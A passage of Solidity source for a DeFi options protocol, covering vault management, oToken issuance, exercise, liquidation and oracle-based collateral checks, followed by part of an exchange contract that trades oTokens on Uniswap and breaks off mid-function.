* @param _collateral The collateral asset
* @param _underlying The asset that is being protected
* @param _oTokenExchangeExp The precision of the `amount of underlying` that 1 oToken protects
* @param _strikePrice The amount of strike asset that will be paid out per oToken
* @param _strikeExp The precision of the strike price.
* @param _strike The asset in which the insurance is calculated
* @param _expiry The time at which the insurance expires
* @param _windowSize UNIX time. Exercise window is from `expiry - _windowSize` to `expiry`.
* @param _oracleAddress The address of the oracle
*/
constructor(
address _collateral,
address _underlying,
address _strike,
int32 _oTokenExchangeExp,
uint256 _strikePrice,
int32 _strikeExp,
uint256 _expiry,
uint256 _windowSize,
address _oracleAddress
) public {
require(block.timestamp < _expiry, "Can't deploy an expired contract");
require(
_windowSize <= _expiry,
"Exercise window can't be longer than the contract's lifespan"
);
require(
isWithinExponentRange(_strikeExp),
"strike price exponent not within expected range"
);
require(
isWithinExponentRange(_oTokenExchangeExp),
"oToken exchange rate exponent not within expected range"
);
require(
address(_underlying) != address(0),
"OptionsContract: Can't use ETH as underlying."
);
collateral = IERC20(_collateral);
underlying = IERC20(_underlying);
strike = IERC20(_strike);
collateralExp = getAssetExp(_collateral);
underlyingExp = getAssetExp(_underlying);
require(
isWithinExponentRange(collateralExp),
"collateral exponent not within expected range"
);
require(
isWithinExponentRange(underlyingExp),
"underlying exponent not within expected range"
);
require(
_oTokenExchangeExp >= underlyingExp,
"Options Contract: The exchange rate has greater precision than the underlying"
);
oTokenExchangeRate = Number(1, _oTokenExchangeExp);
strikePrice = Number(_strikePrice, _strikeExp);
expiry = _expiry;
oracle = OracleInterface(_oracleAddress);
windowSize = _windowSize;
}
/*** Events ***/
event VaultOpened(address payable vaultOwner);
event ETHCollateralAdded(
address payable vaultOwner,
uint256 amount,
address payer
);
event ERC20CollateralAdded(
address payable vaultOwner,
uint256 amount,
address payer
);
event IssuedOTokens(
address issuedTo,
uint256 oTokensIssued,
address payable vaultOwner
);
event Liquidate(
uint256 amtCollateralToPay,
address payable vaultOwner,
address payable liquidator
);
event Exercise(
uint256 amtUnderlyingToPay,
uint256 amtCollateralToPay,
address payable exerciser,
address payable vaultExercisedFrom
);
event RedeemVaultBalance(
uint256 amtCollateralRedeemed,
uint256 amtUnderlyingRedeemed,
address payable vaultOwner
);
event BurnOTokens(address payable vaultOwner, uint256 oTokensBurned);
event RemoveCollateral(uint256 amtRemoved, address payable vaultOwner);
event UpdateParameters(
uint256 liquidationIncentive,
uint256 liquidationFactor,
uint256 minCollateralizationRatio,
address owner
);
event TransferFee(address payable to, uint256 fees);
event RemoveUnderlying(
uint256 amountUnderlying,
address payable vaultOwner
);
event OptionStateUpdated(
bool oldState,
bool newState,
uint256 updateTimestamp
);
/**
* @dev Throws if called Options contract is expired.
*/
modifier notExpired() {
require(!hasExpired(), "Options contract expired");
_;
}
/**
* @notice This function gets the length of vaultOwners array
*/
function getVaultOwnersLength() external view returns (uint256) {
return vaultOwners.length;
}
/**
* @notice Can only be called by owner. Used to update the fees, minCollateralizationRatio, etc
* @param _liquidationIncentive The incentive paid to liquidator. 10 is 0.01 i.e. 1% incentive.
* @param _liquidationFactor Max amount that a Vault can be liquidated by. 500 is 0.5.
* @param _minCollateralizationRatio The minimum ratio of a Vault's collateral to insurance promised. 16 means 1.6.
*/
function updateParameters(
uint256 _liquidationIncentive,
uint256 _liquidationFactor,
uint256 _minCollateralizationRatio
) external onlyOwner {
require(
_liquidationIncentive <= 200,
"Can't have >20% liquidation incentive"
);
require(
_liquidationFactor <= 1000,
"Can't liquidate more than 100% of the vault"
);
require(
_minCollateralizationRatio >= 10,
"Can't have minCollateralizationRatio < 1"
);
liquidationIncentive.value = _liquidationIncentive;
liquidationFactor.value = _liquidationFactor;
minCollateralizationRatio.value = _minCollateralizationRatio;
emit UpdateParameters(
_liquidationIncentive,
_liquidationFactor,
_minCollateralizationRatio,
owner()
);
}
function harvest(address _token, uint256 _amount) external onlyOwner {
require(
(_token != address(underlying)) &&
(_token != address(collateral)) &&
(_token != address(strike)),
"Owner can't harvest this token"
);
ERC20(_token).transfer(msg.sender, _amount);
}
/**
* @notice Can only be called by owner. Used to set the name, symbol and decimals of the contract
* @param _name The name of the contract
* @param _symbol The symbol of the contract
*/
function setDetails(string calldata _name, string calldata _symbol)
external
onlyOwner
{
name = _name;
symbol = _symbol;
decimals = uint8(-1 * oTokenExchangeRate.exponent);
}
/**
* @notice Can only be called by owner. Used to take out the protocol fees from the contract.
* @param _address The address to send the fee to.
*/
function transferFee(address payable _address) external onlyOwner {
uint256 fees = totalFee;
totalFee = 0;
transferCollateral(_address, fees);
emit TransferFee(_address, fees);
}
/**
* @notice Can only be called by owner. Used to pause and restart the option contract.
* @dev can not restart an already running option, and can not pause an already paused option
* @param _isPaused The option contract state, if true then pause the contract, if false then restart contract
*/
function setIsPaused(bool _isPaused) external onlyOwner {
require(_isPaused != isPaused, "Option contract already in that state");
emit OptionStateUpdated(isPaused, _isPaused, now);
isPaused = _isPaused;
}
/**
* @notice Get option contract state. If option is paused should return true, else false.
* @return option contract state
*/
function isSystemPaused() public view returns (bool) {
return isPaused;
}
/**
* @notice Checks if a `owner` has already created a Vault
* @param _owner The address of the supposed owner
* @return true or false
*/
function hasVault(address payable _owner) public view returns (bool) {
return vaults[_owner].owned;
}
/**
* @notice Creates a new empty Vault and sets the owner of the vault to be the msg.sender.
*/
function openVault() public notExpired returns (bool) {
require(!isSystemPaused(), "Option contract is paused");
require(!hasVault(msg.sender), "Vault already created");
vaults[msg.sender] = Vault(0, 0, 0, true);
vaultOwners.push(msg.sender);
emit VaultOpened(msg.sender);
return true;
}
/**
* @notice If the collateral type is ETH, anyone can call this function any time before
* expiry to increase the amount of collateral in a Vault. Will fail if ETH is not the
* collateral asset.
* Remember that adding ETH collateral even if no oTokens have been created can put the owner at a
* risk of losing the collateral if an exercise event happens.
* Ensure that you issue and immediately sell oTokens to allow the owner to earn premiums.
* (Either call the createAndSell function in the oToken contract or batch the
* addERC20Collateral, issueOTokens and sell transactions and ensure they happen atomically to protect
* the end user).
* @param vaultOwner the index of the Vault to which collateral will be added.
*/
function addETHCollateral(address payable vaultOwner)
public
payable
notExpired
returns (uint256)
{
require(!isSystemPaused(), "Option contract is paused");
require(isETH(collateral), "ETH is not the specified collateral type");
require(hasVault(vaultOwner), "Vault does not exist");
emit ETHCollateralAdded(vaultOwner, msg.value, msg.sender);
return _addCollateral(vaultOwner, msg.value);
}
/**
* @notice If the collateral type is any ERC20, anyone can call this function any time before
* expiry to increase the amount of collateral in a Vault. Can only transfer in the collateral asset.
* Will fail if ETH is the collateral asset.
* The user has to allow the contract to handle their ERC20 tokens on his behalf before these
* functions are called.
* Remember that adding ERC20 collateral even if no oTokens have been created can put the owner at a
* risk of losing the collateral. Ensure that you issue and immediately sell the oTokens!
* (Either call the createAndSell function in the oToken contract or batch the
* addERC20Collateral, issueOTokens and sell transactions and ensure they happen atomically to protect
* the end user).
* @param vaultOwner the index of the Vault to which collateral will be added.
* @param amt the amount of collateral to be transferred in.
*/
function addERC20Collateral(address payable vaultOwner, uint256 amt)
public
notExpired
returns (uint256)
{
require(!isSystemPaused(), "Option contract is paused");
require(
collateral.transferFrom(msg.sender, address(this), amt),
"OptionsContract: transfer collateral failed."
);
require(hasVault(vaultOwner), "Vault does not exist");
emit ERC20CollateralAdded(vaultOwner, amt, msg.sender);
return _addCollateral(vaultOwner, amt);
}
/**
* @notice Returns the amount of underlying to be transferred during an exercise call
*/
function underlyingRequiredToExercise(uint256 oTokensToExercise)
public
view
returns (uint256)
{
uint256 underlyingPerOTokenExp = uint256(
oTokenExchangeRate.exponent - underlyingExp
);
// underlyingPerOTokenExp <= 60, no danger of overflowing uint256
return oTokensToExercise.mul(10**underlyingPerOTokenExp);
}
/**
* @notice Returns true if exercise can be called
*/
function isExerciseWindow() public view returns (bool) {
return ((block.timestamp >= expiry.sub(windowSize)) &&
(block.timestamp < expiry));
}
/**
* @notice Returns true if the oToken contract has expired
*/
function hasExpired() public view returns (bool) {
return (block.timestamp >= expiry);
}
/**
* @notice Called by anyone holding the oTokens and underlying during the
* exercise window i.e. from `expiry - windowSize` time to `expiry` time. The caller
* transfers in their oTokens and corresponding amount of underlying and gets
* `strikePrice * oTokens` amount of collateral out. The collateral paid out is taken from
* the each vault owner starting with the first and iterating until the oTokens to exercise
* are found.
* NOTE: This uses a for loop and hence could run out of gas if the array passed in is too big!
* @param oTokensToExercise the number of oTokens being exercised.
* @param vaultsToExerciseFrom the array of vaults to exercise from.
*/
function exercise(
uint256 oTokensToExercise,
address payable[] memory vaultsToExerciseFrom
) public payable {
require(!isSystemPaused(), "Option contract is paused");
require(oTokensToExercise > 0, "Can't exercise 0 oTokens");
for (uint256 i = 0; i < vaultsToExerciseFrom.length; i++) {
address payable vaultOwner = vaultsToExerciseFrom[i];
require(
hasVault(vaultOwner),
"Cannot exercise from a vault that doesn't exist"
);
Vault storage vault = vaults[vaultOwner];
if (oTokensToExercise == 0) {
return;
} else if (vault.oTokensIssued >= oTokensToExercise) {
_exercise(oTokensToExercise, vaultOwner);
return;
} else {
oTokensToExercise = oTokensToExercise.sub(vault.oTokensIssued);
_exercise(vault.oTokensIssued, vaultOwner);
}
}
require(
oTokensToExercise == 0,
"Specified vaults have insufficient collateral"
);
}
/**
* @notice This function allows the vault owner to remove their share of underlying after an exercise
*/
function removeUnderlying() external {
require(hasVault(msg.sender), "Vault does not exist");
Vault storage vault = vaults[msg.sender];
require(vault.underlying > 0, "No underlying balance");
uint256 underlyingToTransfer = vault.underlying;
vault.underlying = 0;
transferUnderlying(msg.sender, underlyingToTransfer);
emit RemoveUnderlying(underlyingToTransfer, msg.sender);
}
/**
* @notice This function is called to issue the option tokens. Remember that issuing oTokens even if they
* haven't been sold can put the owner at a risk of not making premiums on the oTokens. Ensure that you
* issue and immidiately sell the oTokens! (Either call the createAndSell function in the oToken contract
* of batch the issueOTokens transaction with a sell transaction and ensure it happens atomically).
* @dev The owner of a Vault should only be able to have a max of
* repo.collateral * collateralToStrike / (minCollateralizationRatio * strikePrice) tokens issued.
* @param oTokensToIssue The number of o tokens to issue
* @param receiver The address to send the oTokens to
*/
function issueOTokens(uint256 oTokensToIssue, address receiver)
public
notExpired
{
require(!isSystemPaused(), "Option contract is paused");
//check that we're properly collateralized to mint this number, then call _mint(address account, uint256 amount)
require(hasVault(msg.sender), "Vault does not exist");
Vault storage vault = vaults[msg.sender];
// checks that the vault is sufficiently collateralized
uint256 newOTokensBalance = vault.oTokensIssued.add(oTokensToIssue);
require(isSafe(vault.collateral, newOTokensBalance), "unsafe to mint");
// issue the oTokens
vault.oTokensIssued = newOTokensBalance;
_mint(receiver, oTokensToIssue);
emit IssuedOTokens(receiver, oTokensToIssue, msg.sender);
return;
}
/**
* @notice Returns the vault for a given address
* @param vaultOwner the owner of the Vault to return
*/
function getVault(address payable vaultOwner)
external
view
returns (
uint256,
uint256,
uint256,
bool
)
{
Vault storage vault = vaults[vaultOwner];
return (
vault.collateral,
vault.oTokensIssued,
vault.underlying,
vault.owned
);
}
/**
* @notice Returns true if the given ERC20 is ETH.
* @param _ierc20 the ERC20 asset.
*/
function isETH(IERC20 _ierc20) public pure returns (bool) {
return _ierc20 == IERC20(0);
}
/**
* @notice allows the owner to burn their oTokens to increase the collateralization ratio of
* their vault.
* @param amtToBurn number of oTokens to burn
* @dev only want to call this function before expiry. After expiry, no benefit to calling it.
*/
function burnOTokens(uint256 amtToBurn) external notExpired {
require(!isSystemPaused(), "Option contract is paused");
require(hasVault(msg.sender), "Vault does not exist");
Vault storage vault = vaults[msg.sender];
vault.oTokensIssued = vault.oTokensIssued.sub(amtToBurn);
_burn(msg.sender, amtToBurn);
emit BurnOTokens(msg.sender, amtToBurn);
}
/**
* @notice allows the owner to remove excess collateral from the vault before expiry. Removing collateral lowers
* the collateralization ratio of the vault.
* @param amtToRemove Amount of collateral to remove in 10^-18.
*/
function removeCollateral(uint256 amtToRemove) external notExpired {
require(amtToRemove > 0, "Cannot remove 0 collateral");
require(hasVault(msg.sender), "Vault does not exist");
Vault storage vault = vaults[msg.sender];
require(
amtToRemove <= getCollateral(msg.sender),
"Can't remove more collateral than owned"
);
// check that vault will remain safe after removing collateral
uint256 newCollateralBalance = vault.collateral.sub(amtToRemove);
require(
isSafe(newCollateralBalance, vault.oTokensIssued),
"Vault is unsafe"
);
// remove the collateral
vault.collateral = newCollateralBalance;
transferCollateral(msg.sender, amtToRemove);
emit RemoveCollateral(amtToRemove, msg.sender);
}
/**
* @notice after expiry, each vault holder can get back their proportional share of collateral
* from vaults that they own.
* @dev The owner gets all of their collateral back if no exercise event took their collateral.
*/
function redeemVaultBalance() external {
require(hasExpired(), "Can't collect collateral until expiry");
require(hasVault(msg.sender), "Vault does not exist");
// pay out owner their share
Vault storage vault = vaults[msg.sender];
// To deal with lower precision
uint256 collateralToTransfer = vault.collateral;
uint256 underlyingToTransfer = vault.underlying;
vault.collateral = 0;
vault.oTokensIssued = 0;
vault.underlying = 0;
transferCollateral(msg.sender, collateralToTransfer);
transferUnderlying(msg.sender, underlyingToTransfer);
emit RedeemVaultBalance(
collateralToTransfer,
underlyingToTransfer,
msg.sender
);
}
/**
* This function returns the maximum amount of collateral liquidatable if the given vault is unsafe
* @param vaultOwner The index of the vault to be liquidated
*/
function maxOTokensLiquidatable(address payable vaultOwner)
external
view
returns (uint256)
{
if (isUnsafe(vaultOwner)) {
Vault storage vault = vaults[vaultOwner];
uint256 maxCollateralLiquidatable = vault
.collateral
.mul(liquidationFactor.value)
.div(10**uint256(-liquidationFactor.exponent));
uint256 one = 10**uint256(-liquidationIncentive.exponent);
Number memory liqIncentive = Number(
liquidationIncentive.value.add(one),
liquidationIncentive.exponent
);
return calculateOTokens(maxCollateralLiquidatable, liqIncentive);
} else {
return 0;
}
}
/**
* @notice This function can be called by anyone who notices a vault is undercollateralized.
* The caller gets a reward for reducing the amount of oTokens in circulation.
* @dev Liquidator comes with _oTokens. They get _oTokens * strikePrice * (incentive + fee)
* amount of collateral out. They can liquidate a max of liquidationFactor * vault.collateral out
* in one function call i.e. partial liquidations.
* @param vaultOwner The index of the vault to be liquidated
* @param oTokensToLiquidate The number of oTokens being taken out of circulation
*/
function liquidate(address payable vaultOwner, uint256 oTokensToLiquidate)
external
notExpired
{
require(!isSystemPaused(), "Option contract is paused");
require(hasVault(vaultOwner), "Vault does not exist");
Vault storage vault = vaults[vaultOwner];
// cannot liquidate a safe vault.
require(isUnsafe(vaultOwner), "Vault is safe");
// Owner can't liquidate themselves
require(msg.sender != vaultOwner, "Owner can't liquidate themselves");
uint256 amtCollateral = calculateCollateralToPay(
oTokensToLiquidate,
Number(1, 0)
);
uint256 amtIncentive = calculateCollateralToPay(
oTokensToLiquidate,
liquidationIncentive
);
uint256 amtCollateralToPay = amtCollateral.add(amtIncentive);
// calculate the maximum amount of collateral that can be liquidated
uint256 maxCollateralLiquidatable = vault.collateral.mul(
liquidationFactor.value
);
if (liquidationFactor.exponent > 0) {
maxCollateralLiquidatable = maxCollateralLiquidatable.mul(
10**uint256(liquidationFactor.exponent)
);
} else {
maxCollateralLiquidatable = maxCollateralLiquidatable.div(
10**uint256(-1 * liquidationFactor.exponent)
);
}
require(
amtCollateralToPay <= maxCollateralLiquidatable,
"Can only liquidate liquidation factor at any given time"
);
// deduct the collateral and oTokensIssued
vault.collateral = vault.collateral.sub(amtCollateralToPay);
vault.oTokensIssued = vault.oTokensIssued.sub(oTokensToLiquidate);
// transfer the collateral and burn the _oTokens
_burn(msg.sender, oTokensToLiquidate);
transferCollateral(msg.sender, amtCollateralToPay);
emit Liquidate(amtCollateralToPay, vaultOwner, msg.sender);
}
/**
* @notice checks if a vault is unsafe. If so, it can be liquidated
* @param vaultOwner The number of the vault to check
* @return true or false
*/
function isUnsafe(address payable vaultOwner) public view returns (bool) {
bool stillUnsafe = !isSafe(
getCollateral(vaultOwner),
getOTokensIssued(vaultOwner)
);
return stillUnsafe;
}
/**
* @notice This function returns if an -30 <= exponent <= 30
*/
function isWithinExponentRange(int32 val) internal pure returns (bool) {
return ((val <= 30) && (val >= -30));
}
/**
* @notice This function calculates and returns the amount of collateral in the vault
*/
function getCollateral(address payable vaultOwner)
internal
view
returns (uint256)
{
Vault storage vault = vaults[vaultOwner];
return vault.collateral;
}
/**
* @notice This function calculates and returns the amount of puts issued by the Vault
*/
function getOTokensIssued(address payable vaultOwner)
internal
view
returns (uint256)
{
Vault storage vault = vaults[vaultOwner];
return vault.oTokensIssued;
}
/**
* @notice Called by anyone holding the oTokens and underlying during the
* exercise window i.e. from `expiry - windowSize` time to `expiry` time. The caller
* transfers in their oTokens and corresponding amount of underlying and gets
* `strikePrice * oTokens` amount of collateral out. The collateral paid out is taken from
* the specified vault holder. At the end of the expiry window, the vault holder can redeem their balance
* of collateral. The vault owner can withdraw their underlying at any time.
* The user has to allow the contract to handle their oTokens and underlying on his behalf before these functions are called.
* @param oTokensToExercise the number of oTokens being exercised.
* @param vaultToExerciseFrom the address of the vaultOwner to take collateral from.
* @dev oTokenExchangeRate is the number of underlying tokens that 1 oToken protects.
*/
function _exercise(
uint256 oTokensToExercise,
address payable vaultToExerciseFrom
) internal {
// 1. before exercise window: revert
require(
isExerciseWindow(),
"Can't exercise outside of the exercise window"
);
require(hasVault(vaultToExerciseFrom), "Vault does not exist");
Vault storage vault = vaults[vaultToExerciseFrom];
require(oTokensToExercise > 0, "Can't exercise 0 oTokens");
// Check correct amount of oTokens passed in)
require(
oTokensToExercise <= vault.oTokensIssued,
"Can't exercise more oTokens than the owner has"
);
// 1. Check sufficient underlying
// 1.1 update underlying balances
uint256 amtUnderlyingToPay = underlyingRequiredToExercise(
oTokensToExercise
);
vault.underlying = vault.underlying.add(amtUnderlyingToPay);
// 2. Calculate Collateral to pay
// 2.1 Payout enough collateral to get (strikePrice * oTokens) amount of collateral
uint256 amtCollateralToPay = calculateCollateralToPay(
oTokensToExercise,
Number(1, 0)
);
require(
amtCollateralToPay <= vault.collateral,
"Vault underwater, can't exercise"
);
// 3. Update collateral + oToken balances
vault.collateral = vault.collateral.sub(amtCollateralToPay);
vault.oTokensIssued = vault.oTokensIssued.sub(oTokensToExercise);
// 4. Transfer in underlying, burn oTokens + pay out collateral
// 4.1 Transfer in underlying
require(
underlying.transferFrom(
msg.sender,
address(this),
amtUnderlyingToPay
),
"OptionsContract: Could not transfer in tokens"
);
// 4.2 burn oTokens
_burn(msg.sender, oTokensToExercise);
// 4.3 Pay out collateral
transferCollateral(msg.sender, amtCollateralToPay);
emit Exercise(
amtUnderlyingToPay,
amtCollateralToPay,
msg.sender,
vaultToExerciseFrom
);
}
/**
* @notice adds `_amt` collateral to `vaultOwner` and returns the new balance of the vault
* @param vaultOwner the index of the vault
* @param amt the amount of collateral to add
*/
function _addCollateral(address payable vaultOwner, uint256 amt)
internal
notExpired
returns (uint256)
{
Vault storage vault = vaults[vaultOwner];
vault.collateral = vault.collateral.add(amt);
return vault.collateral;
}
/**
* @notice checks if a hypothetical vault is safe with the given collateralAmt and oTokensIssued
* @param collateralAmt The amount of collateral the hypothetical vault has
* @param oTokensIssued The amount of oTokens generated by the hypothetical vault
* @return true or false
*/
function isSafe(uint256 collateralAmt, uint256 oTokensIssued)
internal
view
returns (bool)
{
// get price from Oracle
uint256 collateralToEthPrice = 1;
uint256 strikeToEthPrice = 1;
if (collateral != strike) {
collateralToEthPrice = getPrice(address(collateral));
strikeToEthPrice = getPrice(address(strike));
}
// check `oTokensIssued * minCollateralizationRatio * strikePrice <= collAmt * collateralToStrikePrice`
uint256 leftSideVal = oTokensIssued
.mul(minCollateralizationRatio.value)
.mul(strikePrice.value);
int32 leftSideExp = minCollateralizationRatio.exponent +
strikePrice.exponent;
uint256 rightSideVal = (collateralAmt.mul(collateralToEthPrice)).div(
strikeToEthPrice
);
int32 rightSideExp = collateralExp;
uint256 exp = 0;
bool stillSafe = false;
if (rightSideExp < leftSideExp) {
exp = uint256(leftSideExp - rightSideExp);
stillSafe = leftSideVal.mul(10**exp) <= rightSideVal;
} else {
exp = uint256(rightSideExp - leftSideExp);
stillSafe = leftSideVal <= rightSideVal.mul(10**exp);
}
return stillSafe;
}
/**
* This function returns the maximum amount of oTokens that can safely be issued against the specified amount of collateral.
* @param collateralAmt The amount of collateral against which oTokens will be issued.
*/
function maxOTokensIssuable(uint256 collateralAmt)
external
view
returns (uint256)
{
return calculateOTokens(collateralAmt, minCollateralizationRatio);
}
/**
* @notice This function is used to calculate the amount of tokens that can be issued.
* @dev The amount of oTokens is determined by:
* oTokensIssued <= collateralAmt * collateralToStrikePrice / (proportion * strikePrice)
* @param collateralAmt The amount of collateral
* @param proportion The proportion of the collateral to pay out. If 100% of collateral
* should be paid out, pass in Number(1, 0). The proportion might be less than 100% if
* you are calculating fees.
*/
function calculateOTokens(uint256 collateralAmt, Number memory proportion)
internal
view
returns (uint256)
{
// get price from Oracle
uint256 collateralToEthPrice = 1;
uint256 strikeToEthPrice = 1;
if (collateral != strike) {
collateralToEthPrice = getPrice(address(collateral));
strikeToEthPrice = getPrice(address(strike));
}
// oTokensIssued <= collAmt * collateralToStrikePrice / (proportion * strikePrice)
uint256 denomVal = proportion.value.mul(strikePrice.value);
int32 denomExp = proportion.exponent + strikePrice.exponent;
uint256 numeratorVal = (collateralAmt.mul(collateralToEthPrice)).div(
strikeToEthPrice
);
int32 numeratorExp = collateralExp;
uint256 exp = 0;
uint256 numOptions = 0;
if (numeratorExp < denomExp) {
exp = uint256(denomExp - numeratorExp);
numOptions = numeratorVal.div(denomVal.mul(10**exp));
} else {
exp = uint256(numeratorExp - denomExp);
numOptions = numeratorVal.mul(10**exp).div(denomVal);
}
return numOptions;
}
/**
* @notice This function calculates the amount of collateral to be paid out.
* @dev The amount of collateral to paid out is determined by:
* (proportion * strikePrice * strikeToCollateralPrice * oTokens) amount of collateral.
* @param _oTokens The number of oTokens.
* @param proportion The proportion of the collateral to pay out. If 100% of collateral
* should be paid out, pass in Number(1, 0). The proportion might be less than 100% if
* you are calculating fees.
*/
function calculateCollateralToPay(
uint256 _oTokens,
Number memory proportion
) internal view returns (uint256) {
// Get price from oracle
uint256 collateralToEthPrice = 1;
uint256 strikeToEthPrice = 1;
if (collateral != strike) {
collateralToEthPrice = getPrice(address(collateral));
strikeToEthPrice = getPrice(address(strike));
}
// calculate how much should be paid out
uint256 amtCollateralToPayInEthNum = _oTokens
.mul(strikePrice.value)
.mul(proportion.value)
.mul(strikeToEthPrice);
int32 amtCollateralToPayExp = strikePrice.exponent +
proportion.exponent -
collateralExp;
uint256 amtCollateralToPay = 0;
uint256 exp;
if (amtCollateralToPayExp > 0) {
exp = uint256(amtCollateralToPayExp);
amtCollateralToPay = amtCollateralToPayInEthNum.mul(10**exp).div(
collateralToEthPrice
);
} else {
exp = uint256(-1 * amtCollateralToPayExp);
amtCollateralToPay = amtCollateralToPayInEthNum.div(10**exp).div(
collateralToEthPrice
);
}
require(exp <= 77, "Options Contract: Exponentiation overflowed");
return amtCollateralToPay;
}
/**
* @notice This function transfers `amt` collateral to `_addr`
* @param _addr The address to send the collateral to
* @param _amt The amount of the collateral to pay out.
*/
function transferCollateral(address payable _addr, uint256 _amt) internal {
if (isETH(collateral)) {
_addr.transfer(_amt);
} else {
require(
collateral.transfer(_addr, _amt),
"OptionsContract: transfer collateral failed."
);
}
}
/**
* @notice This function transfers `amt` underlying to `_addr`
* @param _addr The address to send the underlying to
* @param _amt The amount of the underlying to pay out.
*/
function transferUnderlying(address payable _addr, uint256 _amt) internal {
require(
underlying.transfer(_addr, _amt),
"OptionsContract: transfer underlying failed"
);
}
/**
* @dev internal function to parse token decimals for constructor
* @param _asset the asset address
*/
function getAssetExp(address _asset) internal view returns (int32) {
if (_asset == address(0)) return -18;
return -1 * int32(ERC20Detailed(_asset).decimals());
}
/**
* @notice This function gets the price ETH (wei) to asset price.
* @param asset The address of the asset to get the price of
*/
function getPrice(address asset) internal view returns (uint256) {
return oracle.getPrice(asset);
}
}
pragma solidity 0.5.10;
import "./interfaces/CompoundOracleInterface.sol";
import "./interfaces/UniswapFactoryInterface.sol";
import "./interfaces/UniswapExchangeInterface.sol";
import "./packages/IERC20.sol";
contract OptionsExchange {
using SafeMath for uint256;
uint256 internal constant LARGE_BLOCK_SIZE = 1651753129000;
uint256 internal constant LARGE_APPROVAL_NUMBER = 10**30;
UniswapFactoryInterface public uniswapFactory;
constructor(address _uniswapFactory) public {
uniswapFactory = UniswapFactoryInterface(_uniswapFactory);
}
/*** Events ***/
event SellOTokens(
address seller,
address payable receiver,
address oTokenAddress,
address payoutTokenAddress,
uint256 oTokensToSell,
uint256 payoutTokensReceived
);
event BuyOTokens(
address buyer,
address payable receiver,
address oTokenAddress,
address paymentTokenAddress,
uint256 oTokensToBuy,
uint256 premiumPaid
);
/**
* @notice This function sells oTokens on Uniswap and sends back payoutTokens to the receiver
* @param receiver The address to send the payout tokens back to
* @param oTokenAddress The address of the oToken to sell
* @param payoutTokenAddress The address of the token to receive the premiums in
* @param oTokensToSell The number of oTokens to sell
*/
function sellOTokens(
address payable receiver,
address oTokenAddress,
address payoutTokenAddress,
uint256 oTokensToSell
) external {
// @note: first need to bootstrap the uniswap exchange to get the address.
IERC20 oToken = IERC20(oTokenAddress);
IERC20 payoutToken = IERC20(payoutTokenAddress);
require(
oToken.transferFrom(msg.sender, address(this), oTokensToSell),
"OptionsExchange: pull otoken from user failed."
);
uint256 payoutTokensReceived = uniswapSellOToken(
oToken,
payoutToken,
oTokensToSell,
receiver
);
emit SellOTokens(
msg.sender,
receiver,
oTokenAddress,
payoutTokenAddress,
oTokensToSell,
payoutTokensReceived
);
}
/**
* @notice This function buys oTokens on Uniswap and using paymentTokens from the receiver
* @param receiver The address to send the oTokens back to
* @param oTokenAddress The address of the oToken to buy
* @param paymentTokenAddress The address of the token to pay the premiums in
* @param oTokensToBuy The number of oTokens to buy
*/
function buyOTokens(
address payable receiver,
address oTokenAddress,
address paymentTokenAddress,
uint256 oTokensToBuy
) external payable {
IERC20 oToken = IERC20(oTokenAddress);
IERC20 paymentToken = IERC20(paymentTokenAddress);
uniswapBuyOToken(paymentToken, oToken, oTokensToBuy, receiver);
}
/**
* @notice This function calculates the amount of premiums that the seller
* will receive if they sold oTokens on Uniswap
* @param oTokenAddress The address of the oToken to sell
* @param payoutTokenAddress The address of the token to receive the premiums in
* @param oTokensToSell The number of oTokens to sell
*/
function premiumReceived(
address oTokenAddress,
address payoutTokenAddress,
uint256 oTokensToSell
) external view returns (uint256) {
// get the amount of ETH that will be paid out if oTokensToSell is sold.
UniswapExchangeInterface oTokenExchange = getExchange(oTokenAddress);
uint256 ethReceived = oTokenExchange.getTokenToEthInputPrice(
oTokensToSell
);
if (!isETH(IERC20(payoutTokenAddress))) {
// get the amount of payout tokens that will be received if the ethRecieved is sold.
UniswapExchangeInterface payoutExchange = getExchange(
payoutTokenAddress
);
return payoutExchange.getEthToTokenInputPrice(ethReceived);
}
return ethReceived;
}
/**
* @notice This function calculates the premiums to be paid if a buyer wants to
* buy oTokens on Uniswap
* @param oTokenAddress The address of the oToken to buy
* @param paymentTokenAddress The address of the token to pay the premiums in
* @param oTokensToBuy The number of oTokens to buy
*/
function premiumToPay(
address oTokenAddress,
address paymentTokenAddress,
uint256 oTokensToBuy
) public view returns (uint256) {
// get the amount of ETH that needs to be paid for oTokensToBuy.
UniswapExchangeInterface oTokenExchange = getExchange(oTokenAddress);
uint256 ethToPay = oTokenExchange.getEthToTokenOutputPrice(
oTokensToBuy
);
if (!isETH(IERC20(paymentTokenAddress))) {
// get the amount of paymentTokens that needs to be paid to get the desired ethToPay.
UniswapExchangeInterface paymentTokenExchange = getExchange(
paymentTokenAddress
);
return paymentTokenExchange.getTokenToEthOutputPrice(ethToPay);
}
return ethToPay;
}
function uniswapSellOToken(
IERC20 oToken,
IERC20 payoutToken,
uint256 _amt,
address payable _transferTo
) internal returns (uint256) {
require(!isETH(oToken), "Can only sell oTokens");
UniswapExchangeInterface exchange = getExchange(address(oToken));
require(
oToken.approve(address(exchange), _amt),
"OptionsExchange: approve failed"
);
if (isETH(payoutToken)) {
//Token to ETH
return
exchange.tokenToEthTransferInput(
_amt,
1,
LARGE_BLOCK_SIZE,
_transferTo
);
} else {
//Token to Token
return
exchange.tokenToTokenTransferInput(
_amt,
1,
1,
LARGE_BLOCK_SIZE,
_transferTo,
address(payoutToken)
);
}
}
function uniswapBuyOToken(
IERC20 paymentToken,
IERC20 oToken,
uint256 _amt,
address payable _transferTo
) internal returns (uint256) {
require(!isETH(oToken), "Can only buy oTokens");
if (!isETH(paymentToken)) {
UniswapExchangeInterface exchange = getExchange(
address(paymentToken)
);
uint256 paymentTokensToTransfer = premiumToPay(
address(oToken),
address(paymentToken),
_amt
);
require(
paymentToken.transferFrom(
msg.sender,
address(this),
paymentTokensToTransfer
),
"OptionsExchange: Pull token from sender failed"
);
// Token to Token
require(
paymentToken.approve(address(exchange), LARGE_APPROVAL_NUMBER),
"OptionsExchange: Approve failed"
);
emit BuyOTokens(
msg.sender,
_transferTo,
address(oToken),
address(paymentToken),
_amt,
paymentTokensToTransfer
);
return
exchange.tokenToTokenTransferInput(
paymentTokensToTransfer,
1,
1,
LARGE_BLOCK_SIZE,
_transferTo,
address(oToken)
);
} else {
// ETH to Token
UniswapExchangeInterface exchange = UniswapExchangeInterface(
uniswapFactory.getExchange(address(oToken))
);
uint256 ethToTransfer;
uint256 amount = _amt;
if (_amt > 0) {
ethToTransfer = exchange.getEthToTokenOutputPrice(_amt);
require(
msg.value >= ethToTransfer,
"Options Exchange: Insufficient ETH"
);
// send excess value back to user
msg.sender.transfer(msg.value.sub(ethToTransfer));
} else if (msg.value > 0) {
